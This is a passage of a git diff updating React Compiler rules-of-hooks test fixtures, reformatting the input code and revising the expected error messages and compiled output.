-     |   ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (12:12)
+     |   ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   13 | }
   14 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.js
index 5ffa1efe1c8e..156b68e52d57 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f3d6c5e9c83d.js
@@ -4,9 +4,9 @@
 // This *must* be invalid.
 function useHook() {
   if (b) {
-    console.log("true");
+    console.log('true');
   } else {
-    console.log("false");
+    console.log('false');
   }
   if (a) return;
   useState();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.expect.md
index bc60748985a9..52c929f84705 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.expect.md
@@ -6,7 +6,7 @@
 
 // Invalid because it's dangerous and might not warn otherwise.
 // This *must* be invalid.
-function useHook({ bar }) {
+function useHook({bar}) {
   let foo1 = bar && useState();
   let foo2 = bar || useState();
   let foo3 = bar ?? useState();
@@ -18,17 +18,39 @@ function useHook({ bar }) {
 ## Error
 
 ```
-  4 | // This *must* be invalid.
-  5 | function useHook({ bar }) {
-> 6 |   let foo1 = bar && useState();
-    |                     ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (6:6)
+Found 3 errors:
 
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (7:7)
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
 
-InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+error.invalid-rules-of-hooks-f69800950ff0.ts:6:20
+  4 | // This *must* be invalid.
+  5 | function useHook({bar}) {
+> 6 |   let foo1 = bar && useState();
+    |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |   let foo2 = bar || useState();
   8 |   let foo3 = bar ?? useState();
   9 | }
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-f69800950ff0.ts:7:20
+   5 | function useHook({bar}) {
+   6 |   let foo1 = bar && useState();
+>  7 |   let foo2 = bar || useState();
+     |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+   8 |   let foo3 = bar ?? useState();
+   9 | }
+  10 |
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-rules-of-hooks-f69800950ff0.ts:8:20
+   6 |   let foo1 = bar && useState();
+   7 |   let foo2 = bar || useState();
+>  8 |   let foo3 = bar ?? useState();
+     |                     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+   9 | }
+  10 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.js
index eda703a224ac..bf9c3f2fa738 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-rules-of-hooks-f69800950ff0.js
@@ -2,7 +2,7 @@
 
 // Invalid because it's dangerous and might not warn otherwise.
 // This *must* be invalid.
-function useHook({ bar }) {
+function useHook({bar}) {
   let foo1 = bar && useState();
   let foo2 = bar || useState();
   let foo3 = bar ?? useState();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.expect.md
index 0b29671bab3f..e2e8668921cc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.expect.md
@@ -18,10 +18,17 @@ function createHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid.invalid-rules-of-hooks-0a1dbff27ba0.ts:6:6
   4 |   return function useHookWithConditionalHook() {
   5 |     if (cond) {
 > 6 |       useConditionalHook();
-    |       ^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (6:6)
+    |       ^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |     }
   8 |   };
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.expect.md
index bc3bf779b268..7474867501fe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-0de1224ce64b.expect.md
@@ -18,15 +18,33 @@ function createComponent() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid.invalid-rules-of-hooks-0de1224ce64b.ts:6:6
   4 |   return function ComponentWithHookInsideCallback() {
   5 |     useEffect(() => {
 > 6 |       useHookInsideCallback();
-    |       ^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (6:6)
-
-InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call useEffect within a function component (5:5)
+    |       ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |     });
   8 |   };
   9 | }
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call useEffect within a function expression.
+
+error.invalid.invalid-rules-of-hooks-0de1224ce64b.ts:5:4
+  3 | function createComponent() {
+  4 |   return function ComponentWithHookInsideCallback() {
+> 5 |     useEffect(() => {
+    |     ^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+  6 |       useHookInsideCallback();
+  7 |     });
+  8 |   };
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.expect.md
index c8b08824f504..49994cf800cd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-449a37146a83.expect.md
@@ -18,10 +18,17 @@ function createComponent() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call useState within a function expression.
+
+error.invalid.invalid-rules-of-hooks-449a37146a83.ts:6:6
   4 |   return function ComponentWithHookInsideCallback() {
   5 |     function handleClick() {
 > 6 |       useState();
-    |       ^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call useState within a function component (6:6)
+    |       ^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |     }
   8 |   };
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.expect.md
index 11b720c89e32..734ec721a501 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-76a74b4666e9.expect.md
@@ -16,10 +16,17 @@ function ComponentWithHookInsideCallback() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call useState within a function expression.
+
+error.invalid.invalid-rules-of-hooks-76a74b4666e9.ts:5:4
   3 | function ComponentWithHookInsideCallback() {
   4 |   function handleClick() {
 > 5 |     useState();
-    |     ^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call useState within a function component (5:5)
+    |     ^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   6 |   }
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.expect.md
index c9870de66337..04a3f938b2f9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d842d36db450.expect.md
@@ -18,10 +18,17 @@ function createComponent() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid.invalid-rules-of-hooks-d842d36db450.ts:6:6
   4 |   return function ComponentWithConditionalHook() {
   5 |     if (cond) {
 > 6 |       useConditionalHook();
-    |       ^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (6:6)
+    |       ^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   7 |     }
   8 |   };
   9 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.expect.md
index 7022e5af04d1..8ff30bfd2def 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid.invalid-rules-of-hooks-d952b82c2597.expect.md
@@ -16,10 +16,17 @@ function ComponentWithHookInsideCallback() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.invalid.invalid-rules-of-hooks-d952b82c2597.ts:5:4
   3 | function ComponentWithHookInsideCallback() {
   4 |   useEffect(() => {
 > 5 |     useHookInsideCallback();
-    |     ^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (5:5)
+    |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   6 |   });
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.expect.md
index cb549e252052..b75e2a5da596 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Regression test for some internal code.
 // This shows how the "callback rule" is more relaxed,
 // and doesn't kick in unless we're confident we're in
 // a component or a hook.
 function makeListener(instance) {
-  each(pixelsWithInferredEvents, (pixel) => {
+  each(pixelsWithInferredEvents, pixel => {
     if (useExtendedSelector(pixel.id) && extendedButton) {
       foo();
     }
@@ -20,7 +20,7 @@ function makeListener(instance) {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Regression test for some internal code.
 // This shows how the "callback rule" is more relaxed,
 // and doesn't kick in unless we're confident we're in
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.js
index 8be1a9435e30..c062150b6396 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0592bd574811.js
@@ -1,10 +1,10 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Regression test for some internal code.
 // This shows how the "callback rule" is more relaxed,
 // and doesn't kick in unless we're confident we're in
 // a component or a hook.
 function makeListener(instance) {
-  each(pixelsWithInferredEvents, (pixel) => {
+  each(pixelsWithInferredEvents, pixel => {
     if (useExtendedSelector(pixel.id) && extendedButton) {
       foo();
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.expect.md
index 4eadd3060d4b..bc310acc0943 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.expect.md
@@ -5,7 +5,7 @@
 // Valid because exceptions abort rendering
 function RegressionTest() {
   if (page == null) {
-    throw new Error("oh no!");
+    throw new Error('oh no!');
   }
   useState();
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.js
index d39acb9fb8ff..319b38c642b8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-0e2214abc294.js
@@ -1,7 +1,7 @@
 // Valid because exceptions abort rendering
 function RegressionTest() {
   if (page == null) {
-    throw new Error("oh no!");
+    throw new Error('oh no!');
   }
   useState();
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.expect.md
index 9a6ca0d249fc..e0c6871e198a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can call hooks.
 function createHook() {
   return function useHook() {
@@ -16,7 +16,7 @@ function createHook() {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can call hooks.
 function createHook() {
   return function useHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.js
index f27e6bcf5f7c..e4ff95bfe413 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-2bec02ac982b.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can call hooks.
 function createHook() {
   return function useHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.expect.md
index ea8869bacd7f..a65b46afa2aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can use hooks.
 function createHook() {
   return function useHookWithHook() {
@@ -15,7 +15,7 @@ function createHook() {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can use hooks.
 function createHook() {
   return function useHookWithHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.js
index ce6244346f6c..3a7ee7b034c1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-33a6e23edac1.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because hooks can use hooks.
 function createHook() {
   return function useHookWithHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.expect.md
index 0d4e2af7e939..7f1bb046d160 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // Valid because the neither the condition nor the loop affect the hook call.
 function App(props) {
-  const someObject = { propA: true };
+  const someObject = {propA: true};
   for (const propName in someObject) {
     if (propName === true) {
     } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.js
index abd852faf0c0..e28a66269070 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-69521d94fa03.js
@@ -1,6 +1,6 @@
 // Valid because the neither the condition nor the loop affect the hook call.
 function App(props) {
-  const someObject = { propA: true };
+  const someObject = {propA: true};
   for (const propName in someObject) {
     if (propName === true) {
     } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.expect.md
index dfb4fa6df752..04eef9c50f36 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because components can use hooks.
 function createComponentWithHook() {
   return function ComponentWithHook() {
@@ -15,7 +15,7 @@ function createComponentWithHook() {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because components can use hooks.
 function createComponentWithHook() {
   return function ComponentWithHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.js
index 2aced0739cf5..f9dcb240c41a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-8f1c2c3f71c9.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // Valid because components can use hooks.
 function createComponentWithHook() {
   return function ComponentWithHook() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.expect.md
index 753c8156db38..701d0a89bf99 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-93dc5d5e538a.expect.md
@@ -17,22 +17,17 @@ function RegressionTest() {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // Valid because the loop doesn't change the order of hooks calls.
+// Valid because the loop doesn't change the order of hooks calls.
 function RegressionTest() {
-  const $ = _c(1);
   const res = [];
+
   for (let i = 0; i !== 10 && true; ++i) {
     res.push(i);
   }
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {};
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  React.useLayoutEffect(t0);
+
+  React.useLayoutEffect(_temp);
 }
+function _temp() {}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.expect.md
index 7761022d6206..23705106a3e8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-c1e8c7f4c191.expect.md
@@ -148,82 +148,121 @@ function MyComponent() {
 function MyComponent() {
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
+
   if (c) {
   }
 
